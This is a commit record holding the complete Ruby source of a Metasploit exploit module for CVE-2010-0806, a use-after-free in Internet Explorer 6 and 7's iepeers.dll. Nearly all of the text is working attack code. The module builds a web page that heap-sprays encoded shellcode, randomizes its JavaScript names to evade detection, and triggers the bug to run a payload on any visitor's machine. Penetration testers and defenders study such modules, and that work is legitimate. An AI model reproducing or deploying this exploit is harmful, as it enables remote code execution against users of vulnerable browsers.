add exploit module for cve-2010-0806
git-svn-id: file:///home/svn/framework3/trunk@8770 4d416f70-5f16-0410-b530-b9f4589650daunstable
Joshua Drake
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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##
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# ie_iepeers_pointer.rb
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#
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# Microsoft Internet Explorer iepeers.dll use-after-free exploit for the Metasploit Framework
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#
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# Tested successfully on the following platforms:
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# - Microsoft Internet Explorer 7, Windows Vista SP2
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# - Microsoft Internet Explorer 7, Windows XP SP3
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# - Microsoft Internet Explorer 6, Windows XP SP3
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#
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# Exploit found in-the-wild. For additional details:
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# http://www.rec-sec.com/2010/03/10/internet-explorer-iepeers-use-after-free-exploit/
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#
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# Trancer
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# http://www.rec-sec.com
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft Internet Explorer iepeers.dll Use After Free',
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'Description' => %q{
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This module exploits a use-after-free vulnerability within iepeers.dll of
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Microsoft Internet Explorer versions 6 and 7.
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NOTE: Internet Explorer 8 and Internet Explorer 5 are not affected.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'unknown', # original discovery
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'Trancer <mtrancer[at]gmail.com>', # metasploit module
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'jduck' # minor cleanups
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2010-0806' ],
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[ 'BID', '38615' ],
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[ 'URL', 'http://www.microsoft.com/technet/security/advisory/981374.mspx' ],
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[ 'URL', 'http://www.avertlabs.com/research/blog/index.php/2010/03/09/targeted-internet-explorer-0day-attack-announced-cve-2010-0806/' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'InitialAutoRunScript' => 'migrate -f',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00\x09\x0a\x0d'\\",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ]
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],
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'DisclosureDate' => 'Mar 09 2010',
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'DefaultTarget' => 0))
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Encode the shellcode
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Set the return\nops
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ret = Rex::Text.to_unescape([target.ret].pack('V'))
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# Randomize the javascript variable names
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j_shellcode = rand_text_alpha(rand(100) + 1)
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j_nops = rand_text_alpha(rand(100) + 1)
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j_slackspace = rand_text_alpha(rand(100) + 1)
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j_fillblock = rand_text_alpha(rand(100) + 1)
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j_memory = rand_text_alpha(rand(100) + 1)
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j_counter = rand_text_alpha(rand(30) + 2)
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j_ret = rand_text_alpha(rand(100) + 1)
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j_array = rand_text_alpha(rand(100) + 1)
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j_function1 = rand_text_alpha(rand(100) + 1)
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j_function2 = rand_text_alpha(rand(100) + 1)
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j_object = rand_text_alpha(rand(100) + 1)
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j_id = rand_text_alpha(rand(100) + 1)
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# Build out the message
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html = %Q|<html><body>
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<button id='#{j_id}' onclick='#{j_function2}();' style='display:none'></button>
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<script language='javascript'>
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function #{j_function1}(){
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var #{j_shellcode} = unescape('#{shellcode}');
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#{j_memory} = new Array();
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var #{j_slackspace} = 0x86000-(#{j_shellcode}.length*2);
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var #{j_nops} = unescape('#{ret}');
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while(#{j_nops}.length<#{j_slackspace}/2) { #{j_nops}+=#{j_nops}; }
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var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace}/2);
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delete #{j_nops};
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for(#{j_counter}=0; #{j_counter}<270; #{j_counter}++) {
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#{j_memory}[#{j_counter}] = #{j_fillblock} + #{j_fillblock} + #{j_shellcode};
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}
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}
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function #{j_function2}(){
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#{j_function1}();
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var #{j_object} = document.createElement('body');
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#{j_object}.addBehavior('#default#userData');
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document.appendChild(#{j_object});
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try {
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for (#{j_counter}=0; #{j_counter}<10; #{j_counter}++) {
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#{j_object}.setAttribute('s',window);
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}
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} catch(e){ }
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window.status+='';
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}
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document.getElementById('#{j_id}').onclick();
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</script></body></html>
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print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the compressed response to the client
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send_response(cli, html, { 'Content-Type' => 'text/html' })
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# Handle the payload
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handler(cli)
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end
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end
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